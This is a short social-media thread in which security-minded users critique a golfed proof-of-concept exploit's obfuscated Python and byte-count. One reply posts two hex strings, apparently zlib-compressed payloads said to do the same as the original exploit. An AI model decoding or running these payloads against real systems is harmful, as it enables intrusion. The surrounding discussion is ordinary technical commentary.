Post #1800939
2026-04-30 07:18 UTC
Replies (3)
-
@sitharus@cloudisland.nz 2026-04-30 08:40
@gwen@tech.lgbt I don't think a human wrote the Python at least, I haven't looked in to the ELF. It's clearly not machine minified, and if a human did that I'm very disappointed in them. Basic things like socket.recv doesn't throw since Python 3.5, so there's no need for the try. Even if you were targeting pre-3.5 you don't need it there. I agree that it's just trying to sound scary, but it doesn't need to be this obfuscated.
-
@gwen@tech.lgbt 2026-04-30 11:07
@sitharus@cloudisland.nz anyways here's a slightly shorter payload that does exactly the same 78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c16806010895951961f89f9fd5a3d79603c833fc96651d31939f553f29334fbf388301007f240dab or even shorter by taking advantage of linux zeroing registers despite this being AFAICT not required: 78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c168060108959519c1cfda6b0bd29a650d64ea2765e6e91767300000195c0a70
-
@diazona@techhub.social 2026-04-30 08:27
@gwen @sitharus "why are they even golfing the poc in the first place, it feels like they’re trying to create the impression that less bytes makes it better/scarier/easier to exploit" 😂 totally true though... I was also quite confused by their choice on that matter